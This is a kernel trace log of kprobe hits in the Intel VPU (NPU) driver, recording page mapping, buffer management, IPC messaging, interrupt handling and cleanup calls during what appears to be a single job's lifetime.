+kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_pgtable_alloc_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_rpm_get +kprobe:intel_vpu:ivpu_bo_create_global +kprobe:intel_vpu:ivpu_bo_create +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_jsm_register_db +kprobe:intel_vpu:ivpu_ipc_send_receive +kprobe:intel_vpu:ivpu_rpm_get +kprobe:intel_vpu:ivpu_ipc_send_receive_internal +kprobe:intel_vpu:ivpu_ipc_send +kprobe:intel_vpu:ivpu_jsm_msg_dump +kprobe:intel_vpu:ivpu_ipc_msg_dump +kprobe:intel_vpu:ivpu_hw_ip_ipc_tx_set +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_hw_irq_handler +kprobe:intel_vpu:ivpu_hw_btrs_global_int_disable +kprobe:intel_vpu:ivpu_hw_btrs_irq_handler_lnl +kprobe:intel_vpu:ivpu_hw_btrs_is_idle +kprobe:intel_vpu:ivpu_hw_ip_irq_handler_40xx +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_addr_get +kprobe:intel_vpu:ivpu_ipc_msg_dump +kprobe:intel_vpu:ivpu_jsm_msg_dump +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_hw_btrs_global_int_enable +kprobe:intel_vpu:ivpu_ipc_rx_msg_del +kprobe:intel_vpu:ivpu_ipc_consumer_del +kprobe:intel_vpu:ivpu_rpm_put +kprobe:intel_vpu:ivpu_start_job_timeout_detection +kprobe:intel_vpu:ivpu_hw_ip_db_set +kprobe:intel_vpu:ivpu_bo_wait_ioctl +kprobe:intel_vpu:ivpu_hw_irq_handler +kprobe:intel_vpu:ivpu_hw_btrs_global_int_disable +kprobe:intel_vpu:ivpu_hw_btrs_irq_handler_lnl +kprobe:intel_vpu:ivpu_hw_btrs_is_idle +kprobe:intel_vpu:ivpu_hw_ip_irq_handler_40xx +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_addr_get +kprobe:intel_vpu:ivpu_ipc_msg_dump +kprobe:intel_vpu:ivpu_jsm_msg_dump +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_hw_btrs_global_int_enable +kprobe:intel_vpu:ivpu_irq_thread_handler +kprobe:intel_vpu:ivpu_ipc_irq_thread_handler +kprobe:intel_vpu:ivpu_job_done_callback +kprobe:intel_vpu:ivpu_job_signal_and_destroy +kprobe:intel_vpu:ivpu_job_destroy +kprobe:intel_vpu:ivpu_file_priv_put +kprobe:intel_vpu:ivpu_stop_job_timeout_detection +kprobe:intel_vpu:ivpu_rpm_put +kprobe:intel_vpu:ivpu_ipc_rx_msg_del +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked +kprobe:intel_vpu:ivpu_mmu_context_unmap_sgt +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_context_remove_node +kprobe:intel_vpu:ivpu_postclose +kprobe:intel_vpu:ivpu_ms_cleanup +kprobe:intel_vpu:ivpu_file_priv_put +kprobe:intel_vpu:ivpu_cmdq_release_all_locked +kprobe:intel_vpu:ivpu_cmdq_fini.isra.0 +kprobe:intel_vpu:ivpu_jsm_unregister_db +kprobe:intel_vpu:ivpu_ipc_send_receive +kprobe:intel_vpu:ivpu_rpm_get +kprobe:intel_vpu:ivpu_ipc_send_receive_internal +kprobe:intel_vpu:ivpu_ipc_send +kprobe:intel_vpu:ivpu_jsm_msg_dump +kprobe:intel_vpu:ivpu_ipc_msg_dump +kprobe:intel_vpu:ivpu_hw_ip_ipc_tx_set +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_hw_irq_handler +kprobe:intel_vpu:ivpu_hw_btrs_global_int_disable +kprobe:intel_vpu:ivpu_hw_btrs_irq_handler_lnl +kprobe:intel_vpu:ivpu_hw_btrs_is_idle +kprobe:intel_vpu:ivpu_hw_ip_irq_handler_40xx +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_addr_get +kprobe:intel_vpu:ivpu_ipc_msg_dump +kprobe:intel_vpu:ivpu_jsm_msg_dump +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_hw_btrs_global_int_enable +kprobe:intel_vpu:ivpu_ipc_rx_msg_del +kprobe:intel_vpu:ivpu_ipc_consumer_del +kprobe:intel_vpu:ivpu_rpm_put +kprobe:intel_vpu:ivpu_bo_free +kprobe:intel_vpu:ivpu_gem_bo_free +kprobe:intel_vpu:ivpu_bo_unbind_locked 